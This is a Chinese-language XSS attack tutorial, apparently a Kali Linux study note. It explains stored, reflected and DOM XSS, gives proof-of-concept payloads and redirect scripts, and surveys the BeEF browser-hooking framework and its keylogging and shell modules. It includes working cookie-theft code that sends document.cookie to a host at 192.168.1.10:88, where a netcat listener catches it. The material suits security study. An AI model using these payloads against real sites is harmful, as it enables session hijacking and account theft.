kali linux之xss
攻击web客户端
客户端脚本语言(弹窗,广告,在浏览器中执行,javascript)
javascript--与java语言无关,使用最广的客户端脚本语言
xss(cross-site scripting)
通过web站点漏洞,向客户端交付恶意脚本代码,实现对客户端攻击目的
注入客户端脚本代码,盗取cookie,重定向
使用场景:
直接嵌入html:<script> alert('xss'); </script>
元素标签事件:<body onload=alert('xss')>
图片标签:<img src="javascript:alert('xss');">
其他标签:<iframe>,<div>,and<link>
dom对象,篡改页面内容
漏洞形成的根源:
服务器对用户提交数据过滤不严
提交给服务器的脚本被直接返回给其他客户端执行
脚本在客户端执行恶意操作
xss漏洞类型
存储型(持久型)
反射型(非持久)
DOM型
漏洞poc
<script> alert('xss')</script> 验证弹窗
<a href=http://192.168.1.10>click 嵌入链接
<img src=http://192.168.1.10/xxsec.jpeg onerror=alert('xss')> 嵌入192.168.1.10的图片
<script>window.location='http://192.168.1.10'</script> 提交重定向到192.168.1.10
反射型xss
弹窗验证
<a href=http://192.168.1.10>click 点击click就跳转到链接
<img src=http://192.168.1.10/xxsec.jpeg onerror=alert('xss')> 嵌入192.168.1.10的图片
<script>window.location='http://192.168.1.10'</script> 提交重定向到192.168.1.10
xss窃取cookie
<script src=http://192.168.1.10/xxsec.js></script>
xxsec.js源码
var img = new Image();
img.src = "http://192.168.1.10:88/cookies.php?cookie="+document.cookie;(把cookie发送到192.168.1.10 88端口)
在本机服务器写好源码,然后用nc监听好本机的88端口
执行就获取到cookie了
存储型xss
长期存储于服务器端,每次用户访问都会被执行javascript脚本
name:客户端表单长度限制--客户端,截断代理
窃取cookie源码
<script src=http://192.168.1.10/xxsec.js></script>
xxsec.js源码
var img = new Image();
img.src = "http://192.168.1.10:88/cookies.php?cookie="+document.cookie;(把cookie发送到192.168.1.10 88端口)
成功获取cookie
beef
生成,交互payload
ruby语言编写
服务器端--------管理hooked客户端
客户端---------运行客户端浏览器的javascript脚本(hook)
浏览器攻击面:
应用普遍转移到b/s架构,浏览器成为统一客户端程序
结合社会工程学方法对浏览器进行攻击,攻击浏览器用户
通过注入js脚本,利用浏览器攻击其他网站
攻击手段:
利用网站xss漏洞实现攻击
诱使客户端访问含有hook的伪造站点
结合中间人攻击注入hook脚本
常见用途:
键盘记录
网络扫描
浏览器信息收集
绑定shell
与metasploit集成
默认用户名密码beef
Details:浏览器,插件版本信息,操作系统信息
Logs:浏览器动作----焦点变化,鼠标点击,信息输入
Commands:命令模块
绿色模块:表示模块适合目标浏览器,并且执行结果被客户端不可见
红色模块:表示模块不适用当前用户,有些红色模块也可以正常执行
橙色模块:模块可用,但结果对用户可见(CAM弹窗申请权限等)
灰色模块:模块未在目标浏览器上测试过
主要模块
Browsers
Exploits
Host
Persistence
Network
友情链接 http://www.cnblogs.com/klionsec
http://www.cnblogs.com/l0cm
http://www.cnblogs.com/Anonyaptxxx
http://www.feiyusafe.cn